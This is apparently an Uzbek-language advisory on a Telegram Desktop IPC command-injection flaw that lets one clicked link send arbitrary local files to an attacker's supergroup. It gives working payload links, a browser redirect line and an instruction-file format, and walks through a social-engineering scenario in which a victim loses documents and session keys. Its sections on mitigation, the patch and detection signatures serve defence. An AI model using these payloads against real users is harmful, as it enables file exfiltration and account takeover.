

CVE-2026-107181 — Telegram Desktop

Bitta bosilgan link bilan qurbon kompyuteridagi ixtiyoriy faylni o'qib, hujumchi kanaliga yuborish. Tasdiq so'ralmaydi.

Ta'sirlangan	Telegram Desktop 7.2.8 gacha
Tuzatilgan	7.2.9 (2026-09-16)
Hali zaif	materialgram v7.0.5.1 — forkda tuzatma yo'q
Sinf	IPC buyruq injeksiyasi → avtorizatsiyasiz fayl eksfiltratsiyasi

1. Zaiflik nima

Telegram Desktop bitta nusxada ishlaydi. Ikkinchi marta ochilsa, URL'ni birinchisiga lokal soket orqali uzatadi va buyruqlarni `;` bilan ajratadi:

```
commands += u"OPEN: "_q + url.toString(QUrl::FullyEncoded) + ';;'
```

`QUrl::FullyEncoded` `;` ni **kodlamaydi** — RFC 3986 bo'yicha u URL ichida qonuniy belgi. Qabul qiluvchi esa buferni aynan `;` bo'yicha bo'ladi.

Natija: URL ichidagi `;` yangi buyruq ochadi.

Ikkinchi xato: `OPEN:` da sxema filtri yo'q, shuning uchun u ichki `interpret:` sxemasiga yetadi. `interpret:` esa instruksiya faylini o'qib, unda ko'rsatilgan faylni kanalga yuboradi — **egalik tekshiruvsiz, dialogsiz**.

2. Linkning tuzilishi

```
tg://msg_url?url=x ; OPEN:interpret:C:/Users/aziz/Downloads/invoice.txt
  1         2         3
```

#	Qism	Vazifasi
1	<code>tg://msg_url?url=x</code>	Aldov. Oddiy, qonuniy Telegram linki — qurbon shuni ko'radi. Mazmuni ahamiyatsiz.
2	<code>;</code>	Ajratuvchi. Butun zaiflik shu bitta belgida.
3	<code>OPEN:interpret:</code> <code><yo'l></code>	Yuk. Alohida IPC buyrug'iga aylanadi.

Eng ko'p chalkashtiradigan joy: `interpret:` dan keyingi yo'l — **instruksiya faylining** yo'li, o'g'irlanadigan faylniki emas. O'g'irlanadigan fayl o'sha instruksiya faylining **ichida** ko'rsatiladi.

Bir linkda bir nechta yuk bo'lishi mumkin:

```
tg://msg_url?url=x;OPEN:interpret:p1;OPEN:interpret:p2;OPEN:interpret:p3
```

Labda sinaldi — bitta klikda uchta fayl ketdi.

3. Real case — konkret misol

Qurbon: Aziz. Windows, Telegram Desktop 7.2.8, passcode qo'ymagan. **Hujumchi:** Azizning ish hujjatlarini olmoqchi.

Qadam 1 — Supergruppa yaratish

Hujumchi "IT yangiliklari" nomli supergruppa ochadi. ID: `2145678901`.

Bu supergruppa ikki vazifani bajaradi: 1. instruksiya faylini Aziz diskiga yetkazadi 2. o'g'irlangan fayl tushadigan joy bo'ladi

Ikkinchisi majburiy, chunki kod kanalni qurbon sessiyasida qidiradi:

```
const auto history = window->session().data().historyLoaded(toId);
if (!history) {
    return "App Error: Could not find channel with id: " + ...;
}
```

Ya'ni **qurbon o'sha kanalda a'zo bo'lishi shart**. Begona kanalga yubora olmaydi. Shuning uchun bitta supergruppa ikkala ishni bajargani qulay.

Qadam 2 — Azizni qo'shish

Default privacy sozlamasi begonalarga guruhga qo'shishga ruxsat beradi. Azizdan rozilik so'ralmaydi.

Qadam 3 — Instruksiya faylini tashlash

Hujumchi guruhga `invoice.txt` (2 KB) yuboradi. Ichidagisi:

```
channel: 2145678901
file: C:/Users/aziz/Documents/shartnomalar/2026-byudjet.xlsx
caption: .
```

Qator	Ma'nosi
channel:	qayerga yuborilsin — bare ID , -100 prefiksisiz
file:	nima o'g'irlansin — qurbon diskidagi istalgan yo'l
caption:	izoh matni
from:	ataylab yozilmaydi

from: yozilmagani muhim: kod uni faqat qator mavjud bo'lsa tekshiradi, ya'ni yozilmasa **egalik tekshiruvi umuman bajarilmaydi**.

Fayl 8 MiB dan kichik bo'lgani uchun **o'z-o'zidan yuklanadi** → C:\Users\aziz\Downloads\invoice.txt.
Aziz hech narsa bosmaydi va ko'rmaydi.

Manbadagi default:

```
constexpr auto kDefaultMaxSize = 8 * int64(1024 * 1024); // 8 MiB
const auto channelsFileLimit = (source == Source::Channel) ? 0 : kDefaultMaxSize;
data.setBytesLimit(source, Type::File, channelsFileLimit);
```

Manba	Avtomatik yuklanadimi
Shaxsiy chat	✅ 8 MiB gacha
Guruh / superguruh	✅ 8 MiB gacha
Kanal	❌ yo'q

Qadam 4 — Linkni yuborish

"Aziz aka, hisobotni shu yerga qo'ydim: <https://hisobot-2026.site/korish>"

Sahifa ochilganda:

```
window.location.href =
  "tg://msg_url?url=x;OPEN:interpret:C:/Users/aziz/Downloads/invoice.txt";
```

Nega brauzer orqali? Telegram ichida bosilgan **tg://** link IPC'ga umuman bormaydi:

```
bool Application::openLocalUrl(const QString &url, QVariant context) {
    if (urlTrimmed.startsWith(u"tg://"_q) && !passcodeLocked()) {
        if (TryRouterForLocalUrl(controller, command)) { return true; }
    }
}
```

Telegram ichidagi klik to'g'ridan-to'g'ri handler jadvaliga boradi — socket yo'q, ikkinchi jarayon yo'q, ; ajratuvchi emas. Shuning uchun payloadni Telegram xabariga joylasa **hech narsa bo'lmaydi**. Klik brauzerda bo'lishi shart.

Qadam 5 — Aziz bosadi

Chrome so'raydi: "Open Telegram Desktop?" → Aziz **Open** bosadi.

U allaqachon Telegram havolasini bosgan, shuning uchun dialog kutilgan ko'rinadi. ("Always allow" belgilansa, keyingi safar so'ralmaydi.)

Qadam 6 — Ichkarida nima bo'ladi

Windows registry'dagi handler'ni ishga tushiradi:

```
HKCU\Software\Classes\tg\shell\open\command
"Telegram.exe" -- "%1"
```

Ikkinchi Telegram jarayoni ochiladi, pipe band ekanini ko'radi, o'zini ikkinchi nusxa deb hisoblaydi va buyruq satrini birinchisiga yozadi. Qabul qiluvchi ; bo'yicha bo'ladi:

Yozuv	Nima qiladi
OPEN:tg://msg_url?url=x	zararsiz — Aziz "so'ragan" narsa
OPEN:interpret:C:/Users/aziz/Downloads/invoice.txt	yuk

Kod yo'li:

```
sandbox.cpp      OPEN: → startUrls.append(...)      sxema filtri yo'q
application.cpp  scheme() == "interpret" → ajratiladi
mainwidget.cpp   InterpretSendPath(...)              shartsiz
support_helper.cpp QFile f(path) ... api().sendFiles() dialogsiz
```

Telegram invoice.txt ni o'qiydi → file: qatorini oladi → 2026-byudjet.xlsx ni diskdan o'qiydi → 2145678901 guruhiga **yuboradi**.

Qadam 7 — Natija

Hujjat hujumchi guruhida. Aziz faqat bitta linkni bosdi — faylni qabul qilmadi, saqlamadi, ochmadi.

Hujum jim emas

Ikki narsa Azizga ko'rinadi:

- sendTo ichidagi showThread() sababli uning oynasi **o'sha guruhga sakraydi**
- Fayl guruhda **uning nomidan** paydo bo'ladi — chunki yuborgan u

Lekin fayl allaqachon ketgan. Hujumchi uni darhol saqlab oladi.

Nega supergruppa? Lichka orqali bo'lmaydimi?

Tabiiy savol: Akobir Azizga to'g'ridan-to'g'ri lichkaga yozsa bo'lmaydimi? Javob ikki qismga bo'linadi.

Instruksiya faylini lichkada yuborish — ha, ishlaydi.

Avtomatik yuklash limiti shaxsiy chatga ham tegishli:

```
const auto channelsFileLimit = (source == Source::Channel) ? 0 : kDefaultMaxSize;
```

`Source::User` ham 8 MiB oladi. Ya'ni lichkaga yuborilgan `invoice.txt` ham o'z-o'zidan yuklanadi — hatto qulayroq, chunki guruhga qo'shish shart emas va suhbat tabiiy ko'rinadi.

O'g'irlangan faylni lichkaga yuborish — yo'q, mumkin emas.

Parser atigi beshta kalitni biladi:

```
from:    channel:    topic:    file:    caption:
```

`user:` yoki `chat:` kaliti **yo'q**. Manzil esa faqat bitta yo'l bilan quriladi:

```
toId = peerFromChannel(channelId);
```

`peerFromUser()` umuman chaqirilmaydi. Ya'ni manzil **majburiy ravishda kanal tipidagi peer** — kanal yoki supergruppa.

Hujumchi amalda nima qiladi: supergruppa ochib, unga **faqat qurbonni** qo'shadi. Tashqi ko'rinishi deyarli lichka, lekin texnik jihatdan kanal tipidagi peer — `peerFromChannel` ham, `historyLoaded` ham qanoatlanadi.

Eng realistik aralash variant:

Bosqich	Qayerda	Nega
Instruksiya faylini yetkazish	lichka	tabiiy, shubha tug'dirmaydi
Linkni yuborish	lichka	o'sha suhbatning davomi
O'g'irlangan fayl manzili	supergruppa	majburiy — kod boshqasini bilmaydi

Bu cheklov xavfsizlik uchun qo'yilmagan: `interpret:` dastlab reliz e'lon qilish uchun yozilgan, reliz esa kanalga joylanadi. Lichka hech qachon kerak bo'lmagani uchun kod uni qo'llab-quvvatlamaydi.

Himoya uchun nimani beradi:

- Guruhga qo'shilishni cheklash **manzil tomonini uzadi** — begona sizni supergruppasiga qo'sha olmasa, fayl ketadigan joy qolmaydi

2. Fayl **sizning nomingizdan** o'sha guruhda paydo bo'ladi — ya'ni iz qoladi. Lichkaga ketganda bu ko'rinmas bo'lardi

4. Shartlar

Shart	Default holat
Qurbon Telegram'ga ulangan	✅ odatda shunday
Lokal passcode yo'q	✅ ko'pchilikda yo'q
Instruksiya fayli diskda	✅ avtomatik yuklash bilan ta'minlanadi
Qurbon maqsad kanalda a'zo	✅ guruhga qo'shish bilan ta'minlanadi
Qurbon linkni bosadi	⚠️ yagona inson harakati
Brauzerda protocol dialogi	⚠️ Chrome bir marta so'raydi

Qurbonning yagona harakati — **linkni bosish**.

5. Hujumchi nima oladi

Nima	Oqibat
Hujjatlar, konfiglar, kalitlar	jarayon o'qiy oladigan har qanday fayl
<code>tdata</code> sessiya fayllari	akkaunt egallab olinadi

`tdata` dagi MTProto auth key — sessiyaning o'zi, HTTP cookie'siga o'xshash. Unga ega bo'lgan tomon parol, 2FA yoki SMS so'ralmasdan akkauntga kiradi.

6. Himoya

Chora	Ta'siri
7.2.9+ ga yangilash	to'liq yopadi
Lokal passcode qo'yish	zanjirni ikki joyda uzadi
Guruhga qo'shilishni cheklash	Settings → Privacy → Groups → "My contacts"
Patch olmagan forklardan voz kechish	materialgram hozir zaif

Passcode nega eng kuchli tez chora: 1. `checkStartUrls()` qulflangan holatda **umuman ishlamaydi** → zanjir boshlanmaydi 2. Passcode bo'lsa `key_datas` PBKDF2 bilan o'ralgan → o'g'irlangan `tdata` ochilmaydi

Guruhga qo'shilishni cheklash ham kuchli — u **ikkala** zanjir bo'g'inini (instruksiya faylini yetkazish va maqsad kanalni) bir vaqtda uzadi.

7. Patch nimani o'zgartirdi

7.2.9 to'rtta mustaqil qatlam qo'shdi:

#	Qatlam	Nimani to'sadi
1	EscapeTo7bit — ; → %003b	brauzerdan kelgan yetkazish
2	hasOpen guard	OPEN: dan keyin CMD: / CTRL:
3	interpret: tarmog'i o'chirildi	butun takeover zanjiri
4	externalUrlReceived && isLocalFile()	file:// yozuvlari

3-qatlam hal qiluvchi. 1-qatlam faqat brauzer yo'lini to'sadi — pipe'ga to'g'ridan-to'g'ri yoza oladigan lokal hujumchi uni chetlab o'tardi.

8. Aniqlash (detection)

Butun payload soketga yetib borishdan **oldin buyruq qatorida ochiq turadi** — eng toza ushlash nuqtasi shu:

```
"Telegram.exe" -- "tg://msg_url?url=x;OPEN:interpret:<path>"
```

Signatura	Daraja
tg:// + ;OPEN: / ;CMD: / ;CTRL: buyruq qatorida	high
tg:// + ;OPEN:interpret:	critical
Telegram pipe'iga Telegram bo'lmagan jarayon ulanishi	critical
HKCU\...\tg\shell\open\command o'zgarishi	medium

Qonuniy tg:// linkida ; dan keyin bu kalit so'zlar **hech qachon** uchramaydi — soxta ishga tushish amalda nolga teng.

Muhim: hujum jarayoni bir soniyadan kam yashaydi. Poll qiladigan asboblari uni ko'rmaydi — hodisaga asoslangan telemetriya (Sysmon / 4688) shart.

9. Noaniq qolgan

Instruksiya faylining avtomatik yuklash papkasiga **nisbiy yo'li** o'rnatma turiga (portable / installed) qarab farq qiladi. Nisbiy yo'l ishlashi tasdiqlangan, lekin aniq yo'l mustaqil tekshirilmagan. Amalda bu hujumchi uchun jiddiy to'siq emas — bitta linkka bir nechta nomzod yo'lni ketma-ket qo'yish mumkin.